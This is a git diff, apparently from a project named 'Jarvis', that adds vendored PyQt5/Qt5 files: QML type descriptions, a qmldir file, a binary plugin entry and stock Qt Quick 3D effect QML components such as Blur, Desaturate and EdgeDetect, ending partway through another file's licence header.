"columnsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { name: "modelAboutToBeReset" } + Signal { name: "modelReset" } + Signal { + name: "rowsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationRow"; type: "int" } + } + Signal { + name: "rowsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "row"; type: "int" } + } + Signal { + name: "columnsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationColumn"; type: "int" } + } + Signal { + name: "columnsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "column"; type: "int" } + } + Method { name: "submit"; type: "bool" } + Method { name: "revert" } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "parent" + type: "QModelIndex" + Parameter { name: "child"; type: "QModelIndex" } + } + Method { + name: "sibling" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "idx"; type: "QModelIndex" } + } + Method { + name: "rowCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "rowCount"; type: "int" } + Method { + name: "columnCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "columnCount"; type: "int" } + Method { + name: "hasChildren" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "hasChildren"; type: "bool" } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + } + Method { + name: "fetchMore" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "canFetchMore" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "flags" + type: "Qt::ItemFlags" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + Parameter { name: "flags"; type: "Qt::MatchFlags" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + } + } + Component { name: "QAbstractListModel"; prototype: "QAbstractItemModel" } + Component { + name: "QQuickXmlListModel" + defaultProperty: "roles" + prototype: "QAbstractListModel" + exports: ["QtQuick.XmlListModel/XmlListModel 2.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "Status" + values: { + "Null": 0, + "Ready": 1, + "Loading": 2, + "Error": 3 + } + } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "progress"; type: "double"; isReadonly: true } + Property { name: "source"; type: "QUrl" } + Property { name: "xml"; type: "string" } + Property { name: "query"; type: "string" } + Property { name: "namespaceDeclarations"; type: "string" } + Property { name: "roles"; type: "QQuickXmlListModelRole"; isList: true; isReadonly: true } + Property { name: "count"; type: "int"; isReadonly: true } + Signal { + name: "statusChanged" + Parameter { type: "QQuickXmlListModel::Status" } + } + Signal { + name: "progressChanged" + Parameter { name: "progress"; type: "double" } + } + Method { name: "reload" } + Method { + name: "get" + type: "QJSValue" + Parameter { name: "index"; type: "int" } + } + Method { name: "errorString"; type: "string" } + } + Component { + name: "QQuickXmlListModelRole" + prototype: "QObject" + exports: ["QtQuick.XmlListModel/XmlRole 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "name"; type: "string" } + Property { name: "query"; type: "string" } + Property { name: "isKey"; type: "bool" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/XmlListModel/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/XmlListModel/qmldir new file mode 100644 index 00000000..1f17dbb1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/XmlListModel/qmldir @@ -0,0 +1,5 @@ +module QtQuick.XmlListModel +plugin qmlxmllistmodelplugin +classname QmlXmlListModelPlugin +typeinfo plugins.qmltypes +designersupported diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/XmlListModel/qmlxmllistmodelplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/XmlListModel/qmlxmllistmodelplugin.dll new file mode 100644 index 00000000..1e8470fd Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/XmlListModel/qmlxmllistmodelplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/AdditiveColorGradient.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/AdditiveColorGradient.qml new file mode 100644 index 00000000..03251146 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/AdditiveColorGradient.qml @@ -0,0 +1,49 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property vector3d bottomColor: Qt.vector3d(0.0, 0.0, 0.0) + property vector3d topColor: Qt.vector3d(1.0, 1.0, 1.0) + + Shader { + id: additivecolorgradient + stage: Shader.Fragment + shader: "shaders/additivecolorgradient.frag" + } + + passes: [ + Pass { + shaders: additivecolorgradient + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Blur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Blur.qml new file mode 100644 index 00000000..9a224e13 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Blur.qml @@ -0,0 +1,48 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property real amount: 0.01 + + Shader { + id: blur + stage: Shader.Fragment + shader: "shaders/blur.frag" + } + + passes: [ + Pass { + shaders: blur + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/BrushStrokes.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/BrushStrokes.qml new file mode 100644 index 00000000..11fecd7d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/BrushStrokes.qml @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property TextureInput noiseSample: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/brushnoise.png" + } + } + property real brushLength: 1.0 // 0 - 3 + property real brushSize: 100.0 // 10 - 200 + property real brushAngle: 45.0 + readonly property real sinAlpha: Math.sin(degrees_to_radians(brushAngle)) + readonly property real cosAlpha: Math.cos(degrees_to_radians(brushAngle)) + + function degrees_to_radians(degrees) { + var pi = Math.PI; + return degrees * (pi/180); + } + + Shader { + id: brushstrokes + stage: Shader.Fragment + shader: "shaders/brushstrokes.frag" + } + + passes: [ + Pass { + shaders: brushstrokes + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/ChromaticAberration.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/ChromaticAberration.qml new file mode 100644 index 00000000..25f3ec1d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/ChromaticAberration.qml @@ -0,0 +1,70 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property TextureInput maskTexture: TextureInput { + texture: Texture { + source: "maps/white.png" + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + } + } + readonly property TextureInput sourceTexture: TextureInput { + texture: Texture {} + } + readonly property TextureInput depthTexture: TextureInput { + texture: Texture {} + } + property real aberrationAmount: 50 + property real focusDepth: 600 + + Shader { + id: chromaticAberration + stage: Shader.Fragment + shader: "shaders/chromaticaberration.frag" + } + + passes: [ + Pass { + shaders: chromaticAberration + commands: [ + BufferInput { + param: "sourceTexture" + }, + DepthInput { + param: "depthTexture" + } + ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/ColorMaster.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/ColorMaster.qml new file mode 100644 index 00000000..1c8551fc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/ColorMaster.qml @@ -0,0 +1,51 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property real redStrength: 1.0 // 0 - 2 + property real greenStrength: 1.5 // 0 - 2 + property real blueStrength: 1.0 // 0 - 2 + property real saturation: 0.0 // -1 - 1 + + Shader { + id: colormaster + stage: Shader.Fragment + shader: "shaders/colormaster.frag" + } + + passes: [ + Pass { + shaders: colormaster + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/DepthOfFieldHQBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/DepthOfFieldHQBlur.qml new file mode 100644 index 00000000..7312e990 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/DepthOfFieldHQBlur.qml @@ -0,0 +1,100 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + readonly property TextureInput sourceSampler: TextureInput { + texture: Texture {} + } + readonly property TextureInput depthSampler: TextureInput { + texture: Texture {} + } + property real focusDistance: 600 + property real focusRange: 100 + property real blurAmount: 4 + + Shader { + id: downsampleVert + stage: Shader.Vertex + shader: "shaders/downsample.vert" + } + Shader { + id: downsampleFrag + stage: Shader.Fragment + shader: "shaders/downsample.frag" + } + + Shader { + id: blurVert + stage: Shader.Vertex + shader: "shaders/depthoffieldblur.vert" + } + Shader { + id: blurFrag + stage: Shader.Fragment + shader: "shaders/depthoffieldblur.frag" + } + + Buffer { + id: downsampleBuffer + name: "downsampleBuffer" + format: Buffer.RGBA8 + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + bufferFlags: Buffer.None + sizeMultiplier: 0.5 + } + + passes: [ + Pass { + shaders: [ downsampleVert, downsampleFrag ] + commands: BufferInput { + param: "depthSampler" + } + output: downsampleBuffer + }, + Pass { + shaders: [ blurVert, blurFrag ] + commands: [ + BufferInput { + buffer: downsampleBuffer + }, + BufferInput { + param: "sourceSampler" + }, + DepthInput { + param: "depthSampler" + } + ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Desaturate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Desaturate.qml new file mode 100644 index 00000000..e08ee0dd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Desaturate.qml @@ -0,0 +1,48 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property real amount: 0.5 + + Shader { + id: desaturate + stage: Shader.Fragment + shader: "shaders/desaturate.frag" + } + + passes: [ + Pass { + shaders: desaturate + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/DistortionRipple.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/DistortionRipple.qml new file mode 100644 index 00000000..2c18b10f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/DistortionRipple.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property real radius: 100.0 // 0 - 100 + property real distortionWidth: 10.0 // 2 - 100 + property real distortionHeight: 10.0 // 0 - 100 + property real distortionPhase: 0.0 // 0 - 360 + property vector2d center: Qt.vector2d(0.5, 0.5) + + Shader { + id: distortionVert + stage: Shader.Vertex + shader: "shaders/distortion.vert" + } + + Shader { + id: distortionFrag + stage: Shader.Fragment + shader: "shaders/distortionripple.frag" + } + + passes: [ + Pass { + shaders: [ distortionVert, distortionFrag ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/DistortionSphere.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/DistortionSphere.qml new file mode 100644 index 00000000..3ff07799 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/DistortionSphere.qml @@ -0,0 +1,56 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property real radius: 0.25 // 0 - 1 + property real distortionHeight: 0.5 // -1 - 1 + property vector2d center: Qt.vector2d(0.5, 0.5) + + Shader { + id: distortionVert + stage: Shader.Vertex + shader: "shaders/distortion.vert" + } + + Shader { + id: distortionFrag + stage: Shader.Fragment + shader: "shaders/distortionsphere.frag" + } + + passes: [ + Pass { + shaders: [ distortionVert, distortionFrag ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/DistortionSpiral.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/DistortionSpiral.qml new file mode 100644 index 00000000..ddfea6f8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/DistortionSpiral.qml @@ -0,0 +1,56 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property real radius: 0.25 // 0 - 1 + property real distortionStrength: 1.0 // -10 - 10 + property vector2d center: Qt.vector2d(0.5, 0.5) + + Shader { + id: distortionVert + stage: Shader.Vertex + shader: "shaders/distortion.vert" + } + + Shader { + id: distortionFrag + stage: Shader.Fragment + shader: "shaders/distortionspiral.frag" + } + + passes: [ + Pass { + shaders: [ distortionVert, distortionFrag ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/EdgeDetect.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/EdgeDetect.qml new file mode 100644 index 00000000..4f243574 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/EdgeDetect.qml @@ -0,0 +1,54 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property real edgeStrength: 0.5 // 0 - 1 + + Shader { + id: edgeVert + stage: Shader.Vertex + shader: "shaders/edgedetect.vert" + } + + Shader { + id: edgeFrag + stage: Shader.Fragment + shader: "shaders/edgedetect.frag" + } + + passes: [ + Pass { + shaders: [ edgeVert, edgeFrag ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Emboss.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Emboss.qml new file mode 100644 index 00000000..dc6feb5d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Emboss.qml @@ -0,0 +1,48 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property real amount: 0.003 // 0 - 0.01 + + Shader { + id: emboss + stage: Shader.Fragment + shader: "shaders/emboss.frag" + } + + passes: [ + Pass { + shaders: emboss + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Flip.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Flip.qml new file mode 100644 index 00000000..c219aeef --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Flip.qml @@ -0,0 +1,49 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** 